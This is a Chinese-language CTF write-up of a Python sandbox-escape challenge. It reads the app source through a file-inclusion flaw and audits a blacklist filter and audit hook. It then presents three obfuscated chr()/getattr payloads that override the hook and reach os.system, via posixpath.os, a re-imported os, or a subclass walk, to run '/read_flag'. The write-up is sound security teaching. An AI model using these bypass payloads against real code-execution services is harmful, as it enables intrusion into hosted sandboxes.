image-20260214142536050

进入靶场,很明显这题考的是python沙盒逃逸,有首页和关于界面,其中首页负责运行python代码

在关于页面可以看到url有一个file参数,是一个文件包含

image-20260214142704414

包含app.py可以看到源码,在网页看到的是没有格式化的,可以在开发者工具看到格式化后的源码,审计一下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
from flask import Flask, render_template_string, request, jsonify
import subprocess
import tempfile
import os
import sys

app = Flask(__name__)

@app.route('/')
def index():
file_name = request.args.get('file', 'pages/index.html')
try:
with open(file_name, 'r', encoding='utf-8') as f:
content = f.read()
except Exception as e:
with open('pages/index.html', 'r', encoding='utf-8') as f:
content = f.read()

return render_template_string(content)

def waf(code): #引号、下划线都没了,可以用chr加getattr绕过
blacklisted_keywords = ['import', 'open', 'read', 'write', 'exec', 'eval', '__', 'os', 'sys', 'subprocess', 'run', 'flag', '\'', '\"']
for keyword in blacklisted_keywords:
if keyword in code:
return False
return True

@app.route('/execute', methods=['POST'])
def execute_code():
code = request.json.get('code', '')

if not code:
return jsonify({'error': '请输入Python代码'})

if not waf(code):
return jsonify({'error': 'Hacker!'})

try:
with tempfile.NamedTemporaryFile(mode='w', suffix='.py', delete=False) as f:
f.write(f"""import sys

sys.modules['os'] = 'not allowed' #将全局os模块覆盖成字符串,意味着一整个程序都不能使用系统os

def is_my_love_event(event_name): #特定字符串开头是不可能的,重写成永久返回True
return event_name.startswith("Nothing is my love but you.")

def my_audit_hook(event_name, arg):
if len(event_name) > 0: #事件名的长度是一定会大于0的,所以这里要把len重写
raise RuntimeError("Too long event name!")
if len(arg) > 0:
raise RuntimeError("Too long arg!")
if not is_my_love_event(event_name):
raise RuntimeError("Hacker out!")

__import__('sys').addaudithook(my_audit_hook) #python3.8加入的安全特性,每次敏感操作都会触发钩子,my_audit_hook和len都是全局定义,s

{code}""")
temp_file_name = f.name

result = subprocess.run(
[sys.executable, temp_file_name],
capture_output=True,
text=True,
timeout=10
)

os.unlink(temp_file_name)

return jsonify({
'stdout': result.stdout,
'stderr': result.stderr
})

except subprocess.TimeoutExpired:
return jsonify({'error': '代码执行超时(超过10秒)'})
except Exception as e:
return jsonify({'error': f'执行出错: {str(e)}'})
finally:
if os.path.exists(temp_file_name):
os.unlink(temp_file_name)

if __name__ == '__main__':
app.run(debug=True)

os模块不可用,但是还有一些标准库有os属性可以使用,如

1
2
1.posixpath:Unix路径处理,posixpath.os
2.genericpath:通用路径处理,genericpath.os

直接使用路径处理模块中的os,调用system查看根目录

1
2
3
4
5
6
7
8
9
10
11
12
len=lambda x:0
is_my_love_event=lambda x:True
def len(x):
return 0
def is_my_love_event(x):
return True
s = globals()[chr(115)+chr(121)+chr(115)]
m = getattr(s, chr(109)+chr(111)+chr(100)+chr(117)+chr(108)+chr(101)+chr(115))
pth = m[chr(112)+chr(111)+chr(115)+chr(105)+chr(120)+chr(112)+chr(97)+chr(116)+chr(104)]
o = getattr(pth, chr(111)+chr(115))
sy = getattr(o, chr(115)+chr(121)+chr(115)+chr(116)+chr(101)+chr(109))
sy(chr(108)+chr(115)+chr(32)+chr(47))
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
app
bin
dev
etc
flag
home
lib
media
mnt
opt
proc
read_flag
root
run
sbin
srv
sys
tmp
usr
var
0

直接打开/flag,没有权限,有一个read_flag,执行得到flag

1
2
3
4
5
6
7
8
len=lambda x:0
is_my_love_event=lambda x:True
s = globals()[chr(115)+chr(121)+chr(115)]
m = getattr(s, chr(109)+chr(111)+chr(100)+chr(117)+chr(108)+chr(101)+chr(115))
pth = m[chr(112)+chr(111)+chr(115)+chr(105)+chr(120)+chr(112)+chr(97)+chr(116)+chr(104)]
o = getattr(pth, chr(111)+chr(115))
sy = getattr(o, chr(115)+chr(121)+chr(115)+chr(116)+chr(101)+chr(109))
sy(chr(47)+chr(114)+chr(101)+chr(97)+chr(100)+chr(95)+chr(102)+chr(108)+chr(97)+chr(103))

还有第二种方法,就是把被污染的os模块删了,重新加载是会变回来的特性继续利用os执行命令,例:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
len=lambda x:0
is_my_love_event=lambda x:True
s = globals()[chr(115)+chr(121)+chr(115)]
m = getattr(s, chr(109)+chr(111)+chr(100)+chr(117)+chr(108)+chr(101)+chr(115))
del m[chr(111)+chr(115)]
b=()
a=chr(95)*2
cl=getattr(b,a+chr(99)+chr(108)+chr(97)+chr(115)+chr(115)+a)
bs=getattr(cl,a+chr(98)+chr(97)+chr(115)+chr(101)+a)
scl=getattr(bs,a+chr(115)+chr(117)+chr(98)+chr(99)+chr(108)+chr(97)+chr(115)+chr(115)+chr(101)+chr(115)+a)()[156]
ini=getattr(scl,a+chr(105)+chr(110)+chr(105)+chr(116)+a)
glo=getattr(ini,a+chr(103)+chr(108)+chr(111)+chr(98)+chr(97)+chr(108)+chr(115)+a)[a+chr(98)+chr(117)+chr(105)+chr(108)+chr(116)+chr(105)+chr(110)+chr(115)+a]
ev=glo[chr(101)+chr(118)+chr(97)+chr(108)]
ev(chr(95)+chr(95)+chr(105)+chr(109)+chr(112)+chr(111)+chr(114)+chr(116)+chr(95)+chr(95)+chr(40)+chr(39)+chr(111)+chr(115)+chr(39)+chr(41)+chr(46)+chr(115)+chr(121)+chr(115)+chr(116)+chr(101)+chr(109)+chr(40)+chr(39)+chr(47)+chr(114)+chr(101)+chr(97)+chr(100)+chr(95)+chr(102)+chr(108)+chr(97)+chr(103)+chr(39)+chr(41))

第三种

1
在subclasses列表中不断访问__init__.__globals__['system']('ls'),直到找到可以执行命令的类成功执行命令
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
clss = str().join(chr(x) for x in [0x5f, 0x5f, 0x63, 0x6c, 0x61, 0x73, 0x73, 0x5f, 0x5f])
mro = str().join(chr(x) for x in [0x5f, 0x5f, 0x6d, 0x72, 0x6f, 0x5f, 0x5f])
sclss = str().join(chr(x) for x in [0x5f, 0x5f, 0x73, 0x75, 0x62, 0x63, 0x6c, 0x61, 0x73, 0x73, 0x65, 0x73, 0x5f, 0x5f])
it = str().join(chr(x) for x in [0x5f, 0x5f, 0x69, 0x6e, 0x69, 0x74, 0x5f, 0x5f])
gl = str().join(chr(x) for x in [0x5f, 0x5f, 0x67, 0x6c, 0x6f, 0x62, 0x61, 0x6c, 0x73, 0x5f, 0x5f])

ss = str().join(chr(x) for x in [0x73, 0x79, 0x73, 0x74, 0x65, 0x6d])
s = str().join(chr(x) for x in [0x73, 0x79, 0x73])
cmd = str().join(chr(x) for x in [0x2f,0x72,0x65,0x61,0x64,0x5f,0x66,0x6c,0x61,0x67])

wrapc = str().join(chr(x) for x in [0x5f, 0x77, 0x72, 0x61, 0x70, 0x5f, 0x63, 0x6c, 0x6f, 0x73, 0x65])
ne = str().join(chr(x) for x in [0x5f, 0x5f, 0x6e, 0x61, 0x6d, 0x65, 0x5f, 0x5f])

for i in getattr(getattr(getattr([], clss), mro)[1], sclss)():
try:
if (wrapc == str(getattr(i, ne))):
is_my_love_event = lambda event: True
len = lambda event: 0
r = getattr(getattr(i, it), gl)[ss](cmd)
print(r)
break
except Exception as e:
print(e)
break